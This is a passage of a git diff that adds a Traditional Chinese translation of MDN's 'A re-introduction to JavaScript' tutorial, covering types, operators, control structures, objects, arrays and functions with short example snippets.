+ <dd>不要讓你的網站或應用程式洩漏隱私資料給壞人。使用此系列文章確保你的專案安全。</dd>
+ <dt><a href="https://developer.mozilla.org/zh-TW/docs/WebAssembly">WebAssembly</a></dt>
+ <dd>WebAssembly 是一種可以在現代瀏覽器執行和編譯的新型態的程式語言。這個語言是一種擁有高效率的二進位格式類似組合語言的低階語言。他提供接近原生的效率，並且提供像是C/C++這些語言作為編譯標的，能夠讓他們在網頁上執行。</dd>
+ <dt></dt>
+</dl>
+</div>
+</div>
+
+<div class="blockIndicator note">
+<p><span class="alllinks"><a href="/zh-TW/docs/tag/Web">查看所有文件…</a></span></p>
+</div>
diff --git a/files/zh-tw/web/javascript/a_re-introduction_to_javascript/index.html b/files/zh-tw/web/javascript/a_re-introduction_to_javascript/index.html
new file mode 100644
index 0000000000..97ff027312
--- /dev/null
+++ b/files/zh-tw/web/javascript/a_re-introduction_to_javascript/index.html
@@ -0,0 +1,910 @@
+---
+title: 重新介紹 JavaScript
+slug: Web/JavaScript/A_re-introduction_to_JavaScript
+tags:
+  - JavaScript
+  - 待翻譯
+  - 所有類別
+translation_of: Web/JavaScript/A_re-introduction_to_JavaScript
+---
+<p>{{jsSidebar}}</p>
+
+<h2 id="介紹">介紹</h2>
+
+<p>為何需要重新介紹？因為 <a href="/zh_tw/JavaScript" title="zh_tw/JavaScript">JavaScript</a> 堪稱是<a class="external" href="http://javascript.crockford.com/javascript.html">全世界最被人誤解的程式語言</a>。儘管 JavaScript 再怎麼的被嘲諷為小兒科，在它誤導人的簡潔下隱藏著強大的語言功能。2005 年是個許多知名 JavaScript 應用程式推出的年度，在在證明：更加瞭解這項科技對任何網頁開發者來說皆是重要的技能。</p>
+
+<p>先從該語言的歷史說起。1995 年，Brendan Eich，一位 Netscape （網景）的工程師，創造了 JavaScript。1996 年初，JavaScript 隨著 Netscape 2 首次推出。它原本要被命名為 LiveScript，結果因為行銷策略為了強調昇陽的 Java 程式語言的普遍性，而不幸的被改名 — 即便兩者之間沒有太大的關係。從此之後，這便成為了混淆的元兇。</p>
+
+<p>Microsoft 在幾個月後隨著 IE 3 推出了跟該語言大致上相容的 JScript。Netscape 在 1997 年將該語言送交 <a class="external" href="http://www.ecma-international.org/">ECMA International</a>，一個歐洲標準化組織，而在 1997 年的時候產生了初版的 <a href="/zh_tw/ECMAScript" title="zh_tw/ECMAScript">ECMAScript</a>。該標準在 1999 年的時候以 <a class="external" href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">ECMAScript 第三版</a>的形式推出了更新，從此之後大致上都相當穩定，不過近期有在研發第四版。</p>
+
+<p>這個穩定性對開發者來說是相當好的事情，因為它讓不少實作 (implementation) 有時間慢慢趕上。我會把重點放在第三版的語法。為了避免混淆，我會繼續使用 JavaScript 這個名稱。</p>
+
+<p>與其他程式語言大大不同的是，JavaScript 沒有任何輸入或輸出的觀念。它是被設計成在一個宿主 (host) 環境下執行的腳本 (script) 語言，所以任何與外界通訊的方式，都是宿主環境的責任。瀏覽器是最常見的宿主環境，不過有些程式也有 JavaScript 解釋器，如 Adobe Acrobat、Photoshop、以及 Yahoo! Widget Engine 等等。</p>
+
+<h3 id=".E6.A6.82.E8.A6.81" name=".E6.A6.82.E8.A6.81">概要</h3>
+
+<p>先從任何語言最基本的方面講起：型態 (type)。JavaScript 程式可以改變「值」(value)，而這些值各自有其歸屬的型態。JavaScript 的型態有：</p>
+
+<ul>
+ <li><a href="/zh_tw/Core_JavaScript_1.5_Reference/Global_Objects/Number" title="zh_tw/Core_JavaScript_1.5_Reference/Global_Objects/Number">Number</a> （數字）</li>
+ <li><a href="/zh_tw/Core_JavaScript_1.5_Reference/Global_Objects/String" title="zh_tw/Core_JavaScript_1.5_Reference/Global_Objects/String">String</a> （字串）</li>
+ <li><a href="/zh_tw/Core_JavaScript_1.5_Reference/Global_Objects/Boolean" title="zh_tw/Core_JavaScript_1.5_Reference/Global_Objects/Boolean">Boolean</a> （布林值）</li>
+ <li><a href="/zh_tw/Core_JavaScript_1.5_Reference/Global_Objects/Function" title="zh_tw/Core_JavaScript_1.5_Reference/Global_Objects/Function">Function</a> （函式）</li>
+ <li><a href="/zh_tw/Core_JavaScript_1.5_Reference/Global_Objects/Object" title="zh_tw/Core_JavaScript_1.5_Reference/Global_Objects/Object">Object</a> （物件）</li>
+</ul>
+
+<p>...以及稍微怪一點的 undefined （未定義）和 null （空）。還有，算是一種特殊物件的 <a href="/zh_tw/Core_JavaScript_1.5_Reference/Global_Objects/Array" title="zh_tw/Core_JavaScript_1.5_Reference/Global_Objects/Array">Array</a> （陣列）。還有，額外的特殊物件 <a href="/zh_tw/Core_JavaScript_1.5_Reference/Global_Objects/Date" title="zh_tw/Core_JavaScript_1.5_Reference/Global_Objects/Date">Date</a> （日期）以及 <a href="/zh_tw/Core_JavaScript_1.5_Reference/Global_Objects/RegExp" title="zh_tw/Core_JavaScript_1.5_Reference/Global_Objects/RegExp">Regular Expression</a>。另外，如果真的要達到技術上的準確性，連函式也只算是一種特殊的物件。所以型態分佈表看起來應該像這樣：</p>
+
+<ul>
+ <li>Number （數字）</li>
+ <li>String （字串）</li>
+ <li>Boolean （布林）</li>
+ <li>Object （物件）
+  <ul>
+   <li>Function （函式）</li>
+   <li>Array （陣列）</li>
+   <li>Date （日期）</li>
+   <li>RegExp</li>
+  </ul>
+ </li>
+ <li>Null （空）</li>
+ <li>Undefined （未定義）</li>
+</ul>
+
+<p>其實也有內建的 <a href="/zh_tw/Core_JavaScript_1.5_Reference/Global_Objects/Error" title="zh_tw/Core_JavaScript_1.5_Reference/Global_Objects/Error">Error</a> （錯誤）類型，不過，先把重點放在上面的分佈表比較容易。</p>
+
+<h3 id=".E6.95.B8.E5.AD.97" name=".E6.95.B8.E5.AD.97">數字</h3>
+
+<p>根據規格，JavaScript 數字算是「雙精確度 64 位元格式 IEEE 754 值」("double-precision 64-bit format IEEE 754 values")。這能造成一些有趣的後果。JavaScript 沒有所謂的整數，所以你在做算術的時候得小心一點，尤其是假如你習慣了 C 或 Java 的數學。小心類似下的的事情：</p>
+
+<pre class="brush: js">0.1 + 0.2 = 0.30000000000000004
+</pre>
+
+<p>JavaScript 支援標準的<a href="/zh_tw/Core_JavaScript_1.5_Reference/Operators/Arithmetic_Operators" title="zh_tw/Core_JavaScript_1.5_Reference/Operators/Arithmetic_Operators">數字運算子</a>，包含加法、減法、取餘數、等算術。另外還有一個之前忘記提的內建物件，<a href="/zh_tw/Core_JavaScript_1.5_Reference/Global_Objects/Math" title="zh_tw/Core_JavaScript_1.5_Reference/Global_Objects/Math">Math</a> （數學），用以處理較為進階的數學函數和常數：</p>
+
+<pre class="brush: js">Math.sin(3.5);
+d = Math.PI * r * r;
+</pre>
+
+<p>你可以用內建的 <code><a href="/zh_tw/Core_JavaScript_1.5_Reference/Global_Functions/parseInt" title="zh_tw/Core_JavaScript_1.5_Reference/Global_Functions/parseInt">parseInt()</a></code> 函式將字串轉成整數。這個函式有個可選用的第二個參數（在此建議你一定要指定），用以指定進位數。</p>
+
+<pre class="brush: js">&gt; parseInt("123", 10)
+123
+&gt; parseInt("010", 10)
+10
+</pre>
+
+<p>如果你不指定進位數，就有可能得到意想不到的結果：</p>
+
+<pre class="brush: js">&gt; parseInt("010")
+8
+</pre>
+
+<p>這是因為 <code>parseInt</code> 函數把字串當成八進位的數字，因為開頭有個 0。</p>
+
+<p>如果要把二進位的數字轉成整數，只要把進位數改掉就行了：</p>
+
+<pre class="brush: js">&gt; parseInt("11", 2)
+3
+</pre>
+
+<p>有個特殊的數字，叫做 <code><a href="/zh_tw/Core_JavaScript_1.5_Reference/Global_Properties/NaN" title="zh_tw/Core_JavaScript_1.5_Reference/Global_Properties/NaN">NaN</a></code> （「Not a Number」，「非數字」的簡稱），假如遞進去的字串不是數字，則會回傳 <code><a href="/zh_tw/Core_JavaScript_1.5_Reference/Global_Properties/NaN" title="zh_tw/Core_JavaScript_1.5_Reference/Global_Properties/NaN">NaN</a></code> ：</p>
+
+<pre class="brush: js">&gt; parseInt("hello", 10)
+NaN
+</pre>
+
+<p><code>NaN</code> 很毒：將其進行任何數學運算，結果仍會是 <code>NaN</code>：</p>
+
+<pre class="brush: js">&gt; NaN + 5
+NaN
+</pre>
+
+<p>你可以用內建的 <code><a href="/zh_tw/Core_JavaScript_1.5_Reference/Global_Functions/isNaN" title="zh_tw/Core_JavaScript_1.5_Reference/Global_Functions/isNaN">isNaN()</a></code> 函式來判斷一個值是否為 <code>NaN</code>：</p>
+
+<pre class="brush: js">&gt; isNaN(NaN)
+true
+</pre>
+
+<p>JavaScript 也有特殊的值 <code><a href="/zh_tw/Core_JavaScript_1.5_Reference/Global_Properties/Infinity" title="zh_tw/Core_JavaScript_1.5_Reference/Global_Properties/Infinity">Infinity</a></code> （無限）以及 <code>-Infinity</code> （負無限）：</p>
+
+<pre class="brush: js">&gt; 1 / 0
+Infinity
+&gt; -1 / 0
+-Infinity
+</pre>
+
+<h3 id=".E5.AD.97.E4.B8.B2" name=".E5.AD.97.E4.B8.B2">字串</h3>
+
+<p>JavaScript 的字串是一序列的字元。更精確的說，是一序列的 <a href="/zh_tw/Core_JavaScript_1.5_Guide/Unicode" title="zh_tw/Core_JavaScript_1.5_Guide/Unicode">Unicode 字元</a>，每個字元皆以一個 16 位元的數字作為代表。這讓任何人不需要為國際化感到擔心。</p>
+
+<p>如果你要代表一個單一字元，用長度為 1 的字串即可。</p>
+
+<p>要得知一個字串的長度，請存取該字串的 <code><a href="/zh_tw/Core_JavaScript_1.5_Reference/Global_Objects/String/length" title="zh_tw/Core_JavaScript_1.5_Reference/Global_Objects/String/length">length</a></code>（長度）屬性：</p>
+
+<pre class="brush: js">&gt; "hello".length
+5
+</pre>
+
+<p>剛剛可是與 JavaScript 物件的第一次接觸呢！字串也是物件喔。字串甚至也有<a href="/zh_tw/Core_JavaScript_1.5_Reference/Global_Objects/String#Methods" title="zh_tw/Core_JavaScript_1.5_Reference/Global_Objects/String#Methods">方法 (method)</a>：</p>
+
+<pre class="brush: js">&gt; "hello".charAt(0) //位置 0 的字元
+h
+&gt; "hello, world".replace("hello", "goodbye") //把 hello 換成 goodbye
+goodbye, world
+&gt; "hello".toUpperCase() //轉成大寫
+HELLO
+</pre>
+
+<h3 id=".E5.85.B6.E4.BB.96.E9.A1.9E.E5.9E.8B" name=".E5.85.B6.E4.BB.96.E9.A1.9E.E5.9E.8B">其他類型</h3>
+
+<p>JavaScript 對下列兩者是有分別的：<code>null</code> （空），屬於「object」型態的一種物件，用以明言表示無數值，以及 <code>undefined</code> （無定義），屬於「undefined」類型的一種物件，用以表示未初始化的值，也就是說，根本還沒指定數值。雖然姑且先不論變數，但在 JavaScript 你可以宣告一個變數但不指定其值。如果你這麼做的話，那該變數的型態便是 <code>undefined</code>。</p>
+
+<p>JavaScript 有布林 (boolean) 型態，可能的值有 <code>true</code> （真）與 <code>false</code> （假）且兩者皆為關鍵字。根據下列規則，任何值都可以被轉換成布林值：</p>
+
+<ol>
+ <li><code>false</code>、<code>0</code>、空字串 (<code>""</code>)、<code>NaN</code>、<code>null</code>、以及 <code>undefined</code> 都會成為 <code>false</code></li>
+ <li>所有其他的值都會成為 <code>true</code></li>
+</ol>
+
+<p>你可以用 <code>Boolean()</code> 函式特別進行轉換：</p>
+
+<pre class="brush: js">&gt; Boolean("")
+false
+&gt; Boolean(234)
+true
+</pre>
+
+<p>不過很少需要這樣，因為假如 JavaScript 遇到需要接收布林值的時候，如 <code>if</code> 陳述式（見下），便會無聲無息的進行布林轉換。有鑑於此，常常會有「真值」("true values") 與「假值」("false values") 等說法，意思是指值在布林轉換過程中會被轉成 <code>true</code> 或是 <code>false</code>。這種值也有被稱為「真的」("truthy") 或「假的」("falsy")。</p>
+
+<p>JavaScript 支援布林運算，如 <code>&amp;&amp;</code> （邏輯「<em>與</em>」，英稱 <em>and</em>）、<code>||</code> （邏輯「<em>或</em>」，英稱 <em>or</em>）、以及 <code>!</code> （邏輯「<em>非</em>」，英稱 <em>not</em>），請見下。</p>
+
+<h3 id=".E8.AE.8A.E6.95.B8" name=".E8.AE.8A.E6.95.B8">變數</h3>
+
+<p>在 JavaScript，要宣告新變數，使用的是 <code><a href="/zh_tw/Core_JavaScript_1.5_Reference/Statements/var" title="zh_tw/Core_JavaScript_1.5_Reference/Statements/var">var</a></code> 關鍵字：</p>
+
+<pre class="brush: js">var a;
+var name = "simon";
+</pre>
+
+<p>如果你宣告一個變數但不指定任何值，其型態便為 <code>undefined</code> （未定義）。 <span class="comment">應該注意關於 JS 的區塊不會構成新變數作用域</span></p>
+
+<h3 id=".E9.81.8B.E7.AE.97.E5.AD.90" name=".E9.81.8B.E7.AE.97.E5.AD.90">運算子</h3>
+
+<p>JavaScript 的數字運算子有 <code>+</code>、<code>-</code>、<code>*</code>、<code>/</code>、以及 <code>%</code> - 最後一個是取餘數的運算子（英稱 <em>mod</em>）。用來指定值的運算子是 <code>=</code>，另外還有複合指定陳述式，如 <code>+=</code> 以及 <code>-=</code>。這些是用以延伸 <code>x = x <em>運算子</em> y</code>。</p>
+
+<pre class="brush: js">x += 5
+x = x + 5
+</pre>
+
+<p>你可以用 <code>++</code> 和 <code>--</code> 來分別增加或是減少數值。這些運算子可以放在變數的開頭或結尾。</p>
+
+<p><a href="/zh_tw/Core_JavaScript_1.5_Reference/Operators/String_Operators" title="zh_tw/Core_JavaScript_1.5_Reference/Operators/String_Operators"><code>+</code> 運算子</a>也能把字串連接 (concatenate) 起來:</p>
+
+<pre class="brush: js">&gt; "hello" + " world"
+hello world
+</pre>
+
+<p>如果你把一字串加到一個數字（或其他數值），會先把所有的東西轉成字串。這會讓你意想不到：</p>
+
+<pre class="brush: js">&gt; "3" + 4 + 5
+345
+&gt; 3 + 4 + "5"
+75
+</pre>
+
+<p>把一個空字串加到一個東西是個將其轉成字串的好方法之一。</p>
+
+<p>JavaScript 中進行<a href="/zh_tw/Core_JavaScript_1.5_Reference/Operators/Comparison_Operators" title="zh_tw/Core_JavaScript_1.5_Reference/Operators/Comparison_Operators">比較</a>可以用 <code>&lt;</code>、<code>&gt;</code>、<code>&lt;=</code>、以及 <code>&gt;=</code>。這些對字串和數字都有用。等值比較 (equality) 比較沒那麼直接。雙等號運算子（等於）會進行型態強制轉換，假如比較的資料型態不一樣，有時結果會相當有趣：</p>
+
+<pre class="brush: js">&gt; "dog" == "dog"
+true
+&gt; 1 == true
+true
+</pre>
+
+<p>要避免型態強制轉換，要用三等號運算子（絕對等於）：</p>
+
+<pre class="brush: js">&gt; 1 === true
+false
+&gt; true === true
+true
+</pre>
+
+<p>另外還有 <code>!=</code> （不等於）以及 <code>!==</code> （絕對不等於）運算子。</p>
+
+<p>假如你需要用的話，JavaScript 也有<a href="/zh_tw/Core_JavaScript_1.5_Reference/Operators/Bitwise_Operators" title="zh_tw/Core_JavaScript_1.5_Reference/Operators/Bitwise_Operators">逐位元 (bitwise) 運算子</a>。</p>
+
+<h3 id=".E6.8E.A7.E5.88.B6.E7.B5.90.E6.A7.8B" name=".E6.8E.A7.E5.88.B6.E7.B5.90.E6.A7.8B">控制結構</h3>
+
+<p>JavaScript 跟其他同屬 C 家族的程式語言有類似的控制結構。條件陳述式是靠 <code>if</code> 以及 <code>else</code> 來表示。如果你喜歡還可以串起來：</p>
+
+<pre class="brush: js">var name = "貓咪";
+if (name == "狗狗") {
+  name += "!";
+} else if (name == "貓咪") {
+  name += "!!";
+} else {
+  name = "!" + name;
+}
+name == "貓咪!!"
+</pre>
+
+<p>JavaScript 有 <code>while</code> 迴圈以及 <code>do-while</code> 迴圈。前者適合做基本的迴圈，而後者是當你要迴圈至少執行一次就需要用到：</p>
+
+<pre class="brush: js">while (true) {
+  // 無限迴圈！
+}
+
+do {
+  var input = get_input();
+} while (inputIsNotValid(input))
+</pre>
+
+<p>JavaScript 的 <code>for</code> 迴圈跟 C 和 Java 的一樣：可以讓你用一行就提供控制的條件與資訊。</p>
+
+<pre class="brush: js">for (var i = 0; i &lt; 5; i++) {
+  // 會執行 5 次
+}
+</pre>
+
+<p><code>&amp;&amp;</code> 以及 <code>||</code> 運算子用的是「短路邏輯」(short-circuit logic)，也就是說，第二個運算值是否會被執行靠的是第一個運算值。這用來在存取一個物件的屬性前檢查物件是否為空 (null) 非常有用：</p>
+
+<pre class="brush: js">var name = o &amp;&amp; o.getName();
+</pre>
+
+<p>或是用來設預設值：</p>
+
+<pre class="brush: js">var name = otherName || "預設";
+</pre>
+
+<p>JavaScript 也有三元運算子 (tertiary operator)，可以用來寫單行的條件陳述式：</p>
+
+<pre class="brush: js">var allowed = (age &gt; 18) ? "是" : "否";
+</pre>
+
+<p>switch 陳述式可以根據一個數字或字串做不同決定：</p>
+
+<pre class="brush: js">switch(action) {
+    case '畫':
+        drawit(); //開始畫
+        break; //中斷
+    case '吃':
+        eatit(); //開始吃
+        break; //中斷
+    default: //預設
+        donothing(); //不做任何事
+}
+</pre>
+
+<p>如果你不加個 <code>break</code> （中斷）陳述式，執行的程式碼會往下「掉」一層。你很少會需要這樣 - 不過假如你真的要這樣，最好用個註解說明一下，這樣才方便除錯：</p>
+
+<pre class="brush: js">switch(a) {
+    case 1: //往下「掉」一層
+    case 2:
+        eatit(); //開始吃
+        break; //中斷
+    default: //預設
+        donothing(); //不做任何事
+}
+</pre>
+
+<p>default 子句 (clause) 是選擇性的，可有可無。如果你喜歡的話，你可以在 switch 部分或 case 部分放表達式 (expression)；兩者之間的比較使用的會是 <code>===</code> 運算子：</p>
+
+<pre class="brush: js">switch(1 + 3){
+    case 2 + 2:
+        yay(); //耶！
+        break; //中斷
+    default: //預設
+        neverhappens(); //根本不會發生
+}
+</pre>
+
+<h3 id=".E7.89.A9.E4.BB.B6" name=".E7.89.A9.E4.BB.B6">物件</h3>
+
+<p>JavaScript 物件是一系列的「名稱對數值組合」(name-value pair)。有鑑於此，它們和下列的東西很相近:</p>
+
+<ul>
+ <li>Python 的 dictionary （字典）</li>
+ <li>Perl 和 Ruby 的 hash （雜湊）</li>
+ <li>C 和 C++ 的 hash table （雜湊表）</li>
+ <li>Java 的 HashMap （雜湊地圖）</li>
+ <li>PHP 的 associative array （聯合陣列）</li>
+</ul>
+
+<p>這種資料結構的普遍性證明了其多樣性。由於 JavaScript 的任何東西（核心類型以外）都是物件，任何 JavaScript 程式都自然而然的用到許多雜湊表查詢。還好這些查詢的速度都很快！</p>
+
+<p>「名稱」的部分是個 JavaScript 字串，而「數值」可以是任何 JavaScript 值－－包括物件。這可以讓你隨心所欲的建構複雜的資料結構。</p>
+
+<p>建立空物件有種基本方法：</p>
+
+<pre class="brush: js">var obj = new Object();
+</pre>
+
+<p>以及：</p>
+
+<pre class="brush: js">var obj = {};
+</pre>
+
+<p>這兩者在意義上相等；後者叫做物件實體語法 (object literal)，比較方便。早期並沒有物件實體語法，也就是為何許多程式碼用的還是舊的方法。</p>
+
+<p>一旦建立了，一個物件的屬性可以用兩種方法存取：</p>
+
+<pre class="brush: js">obj.name = "小明"
+var name = obj.name;
+</pre>
+
+<p>還有...</p>
+
+<pre class="brush: js">obj["name"] = "小明";
+var name = obj["name"];
+</pre>
+
+<p>這兩者也是在意義上相等。第二種方法的優點是屬性的名稱可以在執行的時候以字串提供，也就是說可以動態的變動。這也可以用來取得和設定名稱是保留關鍵字 (reserved keyword) 的屬性：</p>
+
+<pre class="brush: js">obj.for = "Simon"; //語法錯誤
+obj["for"] = "Simon"; //沒問題
+</pre>
+
+<p>物件實體語法可以一次把物件完全初始化：</p>
+
+<pre class="brush: js">var obj = {
+    name: "胡蘿蔔", //名稱
+    "for": "小華", //給誰
+    details: { //詳細資訊
+        color: "橘", //顏色
+        size: 12 //大小
+    }
+}
+</pre>
+
+<p>存取屬性也可以連在一起：</p>
+
+<pre class="brush: js">&gt; obj.details.color
+橘
+&gt; obj["details"]["size"]
+12
+</pre>
+
+<h3 id=".E9.99.A3.E5.88.97" name=".E9.99.A3.E5.88.97">陣列</h3>
+
+<p>JavaScript 的陣列其實是一種特殊的物件。它們的運作方式跟正常的物件很像（數字性的屬性只能透過 [] 語法進行存取），不過有個神奇的屬性，叫做「length」（長度）。這個屬性一定是陣列最高索引數加一。</p>
+
+<p>建立陣列的舊方法如下：</p>
+
+<pre class="brush: js">&gt; var a = new Array();
+&gt; a[0] = "狗";
+&gt; a[1] = "貓";
+&gt; a[2] = "雞";
+&gt; a.length
+3
+</pre>
+
+<p>比較方便的語法便是使用陣列實體語法：</p>
+
+<pre class="brush: js">&gt; var a = ["狗", "貓", "雞"];
+&gt; a.length
+3
+</pre>
+
+<p>在陣列實體語法結尾留個空逗點在各瀏覽器間結果參差不齊，所以最好不要這樣：</p>
+
+<pre class="brush: js">&gt; var a = ["狗", "貓", "雞", ]; //最好不要這麼做
+</pre>
+
+<p>注意－－<code>array.length</code> 不一定是陣列的項目數。比方說：</p>
+
+<pre class="brush: js">&gt; var a = ["狗", "貓", "雞"];
+&gt; a[100] = "狐";
+&gt; a.length
+101
+</pre>
+
+<p>別忘了－－陣列的 length 就是最高索引數加一。</p>
+
+<p>如果你查詢一個不存在的陣列索引，得到的就是 <code>undefined</code>：</p>
+
+<pre class="brush: js">&gt; typeof(a[90])
+undefined
+</pre>
+
+<p>利用上述，便可以像下列一樣在陣列上做迴圈：</p>
+
+<pre class="brush: js">for (var i = 0; i &lt; a.length; i++) {
+    //處理 a[i]
+}
+</pre>
+
+<p>這樣不是很有效率，因為每迴圈一次就會查詢一次 length 屬性。比較好的做法是：</p>
+
+<pre class="brush: js">for (var i = 0, len = a.length; i &lt; len; i++) {
+    //處理 a[i]
+}
+</pre>
+
+<p>一個更棒的寫法是：</p>
+
+<pre class="brush: js">for (var i = 0, item; item = a[i]; i++) {
+    //處理 item
+}
+</pre>
+
+<p>這裡設定了兩個變數。<code>for</code> 迴圈中間指定變數值的部分會被測試是否為「真的」(truthy)－－如果成功了，迴圈便會繼續。由於 <code>i</code> 每次都會加一，陣列內的每個項目會被照順序指定到變數 item。當偵測到「假的」(falsy) 項目時（如 <code>undefined</code>）迴圈便會停止。</p>
+
+<p>注意－－這個小技巧只該用在你確定不會含有「假的」值的陣列（比如說一陣列的物件或 <a href="/zh_tw/DOM" title="zh_tw/DOM">DOM</a> 節點）。假如你在可能含有 0 的數字資料或可能含有空字串的字串資料上做迴圈，最好還是用 <code>i, j</code> 的方式。</p>
+
+<p>另外一個做迴圈的方法是用 <code><a href="/zh_tw/Core_JavaScript_1.5_Reference/Statements/for...in" title="zh_tw/Core_JavaScript_1.5_Reference/Statements/for...in">for...in</a></code> 迴圈。不過，假如有人用 <code>Array.prototype</code> 新增新的屬性，那些屬性也會被這種迴圈讀到：</p>
+
+<pre class="brush: js">for (var i in a) {
+  //處理 a[i]
+}
+</pre>
+
+<p>假如你要在陣列結尾加入項目，最安全的方法是這樣：</p>
+
+<pre class="brush: js">a[a.length] = item;                 //同 a.push(item);
+</pre>
+
+<p>由於 <code>a.length</code> 一定是最高索引數加一，你可以很確定你指定到的是陣列結尾的空間。</p>
+
+<p>陣列附有一些方法 (method)：</p>
+
+<pre class="brush: js">a.toString(), a.toLocaleString(), a.concat(item, ..), a.join(sep),
+a.pop(), a.push(item, ..), a.reverse(), a.shift(), a.slice(start, end),
+a.sort(cmpfn), a.splice(start, delcount, [item]..), a.unshift([item]..)
+</pre>
+
+<ul>
+ <li><code>concat</code> 結合，會傳回加入了新項目的新陣列</li>
+ <li><code>pop</code> 會移除最後一個項目並將其傳回</li>
+ <li><code>push</code> 會在結尾加入一或多個項目（就像前面提的 <code>ar.length</code> 方法）</li>
+ <li><code>slice</code> 傳回副陣列</li>
+ <li><code>sort</code> 進行排序，可選擇性的接受「比較性函數」(comparison function)</li>
+ <li><code>splice</code> 讓你透過刪除一個區塊並以更多項目代替來修改陣列</li>
+ <li><code>unshift</code> 會在開頭加入一或多個項目</li>
+</ul>
+
+<h3 id=".E5.87.BD.E5.BC.8F" name=".E5.87.BD.E5.BC.8F">函式</h3>
+
+<p>如同物件，函式 (function) 是瞭解 JavaScript 的核心元件。最基本的函式再簡單不過了：</p>
+
+<pre class="brush: js">function add(x, y) {
+    var total = x + y;
+    return total;
+}
+</pre>
+
+<p>這示範了基本函式的一切。一個 JavaScript 函式可以接受零或多個有名 (named) 參數。函式內文 (body) 要有多少陳述式就有多少陳述式，且可以宣告對於函式而言本地 (local) 的變數。<code>return</code> 陳述式可以在任何時候傳回一值並終止函式。如果沒有 return 陳述式（或者光是 return，沒有值），JavaScript 便會傳回 <code>undefined</code>。</p>
+
+<p>有名參數比較像是做為參考，而非強制性的。你可以呼叫一個函式但不提供其要求的參數，引此傳入的便是 <code>undefined</code>。</p>
+
+<pre class="brush: js">&gt; add()
+NaN // undefined 不能進行加法
+</pre>
+
+<p>你也可以傳入超過函式要求的參數數目：</p>
+
+<pre class="brush: js">&gt; add(2, 3, 4)
+5 // 加了前兩數，不理 4
+</pre>
+
+<p>這或許有些可笑，但函式在內文內還可以存取一個叫做 <a href="/zh_tw/Core_JavaScript_1.5_Reference/Functions/arguments" title="zh_tw/Core_JavaScript_1.5_Reference/Functions/arguments"><code>arguments</code></a> 的變數，一個類似陣列的物件，內含所有遞給函式的值。改寫一下 add 函式便可以使其接受無限量的值：</p>
+
+<pre class="brush: js">function add() {
+    var sum = 0;
+    for (var i = 0, j = arguments.length; i &lt; j; i++) {
+        sum += arguments[i];
+    }
+    return sum;
+}
+
+&gt; add(2, 3, 4, 5)
+14
+</pre>
+
+<p>這樣並沒有比直接寫 <code>2 + 3 + 4 + 5</code> 來得有用。寫個算平均的函式吧：</p>
+
+<pre class="brush: js">function avg() {
+    var sum = 0;
+    for (var i = 0, j = arguments.length; i &lt; j; i++) {
+        sum += arguments[i];
+    }
+    return sum / arguments.length;
+}
+&gt; avg(2, 3, 4, 5)
+3.5
+</pre>
+
+<p>這樣滿有用的，不過又有新問題了。<code>avg()</code> 函式接受的是個逗號分隔的參數清單－－不過如果你要取一陣列的平均值呢？你可以把函式重寫成這樣：</p>
+
+<pre class="brush: js">function avgArray(arr) {
+    var sum = 0;
+    for (var i = 0, j = arr.length; i &lt; j; i++) {
+        sum += arr[i];
+    }
+    return sum / arr.length;
+}
+&gt; avgArray([2, 3, 4, 5])
+3.5
+</pre>
+
+<p>但是最好是可以重複利用已經建立好的函式。幸運的是，JavaScript 可以讓你以一陣列的參數來呼叫一個函式。這靠的是使用任何函式物件的 <a href="/zh_tw/Core_JavaScript_1.5_Reference/Global_Objects/Function/apply" title="zh_tw/Core_JavaScript_1.5_Reference/Global_Objects/Function/apply"><code>apply()</code></a> 方法。</p>
+
+<pre class="brush: js">&gt; avg.apply(null, [2, 3, 4, 5])
+3.5
+</pre>
+
+<p><code>apply()</code> 的第二個參數便是做為一系列參數的陣列；第一個參數稍後才會討論。重點是，函式也是物件。</p>
+
+<p>JavaScript 可以讓你建立匿名 (anonymous) 函式。</p>
+
+<pre class="brush: js">var avg = function() {
+    var sum = 0;
+    for (var i = 0, j = arguments.length; i &lt; j; i++) {
+        sum += arguments[i];
+    }
+    return sum / arguments.length;
+}
+</pre>
+
+<p>這個語法上和 <code>function avg()</code> 形式相等。這是非常強大的功能，因為你可以藉此在平常該放表達式的地方塞入一個完整的函式定義。這可以讓你用在各種令人拍案叫絕的技巧上。下列可以把本地 (local) 參數「藏」起來－－像 C 的 block scope 一樣：</p>
+
+<pre class="brush: js">&gt; var a = 1;
+&gt; var b = 2;
+&gt; (function() {
+    var b = 3;
+    a += b;
+})();
+&gt; a
+4
+&gt; b
+2
+</pre>
+
+<p>JavaScript 能讓你遞迴地呼叫函式。這在處理樹狀結構的時候特別有用，比如瀏覽器的 <a href="/zh_tw/DOM" title="zh_tw/DOM">DOM</a>。 </p>
+
+<pre class="brush: js">function countChars(elm) {
+    if (elm.nodeType == 3) { // TEXT_NODE
+        return elm.nodeValue.length;
+    }
+    var count = 0;
+    for (var i = 0, child; child = elm.childNodes[i]; i++) {
+        count += countChars(child);
+    }
+    return count;
+}
+</pre>
+
+<p>以上揭露了一個使用匿名函式的潛在問題：如果匿名函式沒有名稱，那要怎麼樣遞迴地自我呼叫？答案是使用 <code>arguments</code> 物件。該物件除了提供一系列的參數以外，還提供了一個叫做 <code>arguments.callee</code> 的屬性。這個屬性所指向的是目前的函式，因此可以用來做遞迴的呼叫：</p>
+
+<pre class="brush: js">var charsInBody = (function(elm) {
+    if (elm.nodeType == 3) { // TEXT_NODE
+        return elm.nodeValue.length;
+    }
+    var count = 0;
+    for (var i = 0, child; child = elm.childNodes[i]; i++) {
+        count += arguments.callee(child);
+    }
+    return count;
+})(document.body);
+</pre>
+
+<p>由於 <code>arguments.callee</code> 是目前的函式，而所有的函式都是物件，你可以因此用 <code>arguments.callee</code> 來在多次呼叫同個函式之間儲存資料。這個函式會記得它被呼叫過多少次：</p>
+
+<pre class="brush: js">function counter() {
+    if (!arguments.callee.count) {
+        arguments.callee.count = 0;
+    }
+    return arguments.callee.count++;
+}
+
+&gt; counter()
+0
+&gt; counter()
+1
+&gt; counter()
+2
+</pre>
+
+<h3 id=".E8.87.AA.E8.A8.82.E7.89.A9.E4.BB.B6" name=".E8.87.AA.E8.A8.82.E7.89.A9.E4.BB.B6">自訂物件</h3>
+
+<p>就典型的物件導向程式設計而言，物件是資料 (data) 以及運算該資料的方法 (method) 所構成的集合體 (collection)。我們以一個含有姓與名兩個欄位的「person」（人）物件來做為例子。在英文，一個人的姓名有兩種寫法：「名 姓」或「姓, 名」。利用之前探討的函式與物件，寫法如下：</p>
+
+<pre class="brush: js">function makePerson(first, last) {
+    return {
+        first: first,
+        last: last
+    }
+}
+function personFullName(person) {
+    return person.first + ' ' + person.last;
+}
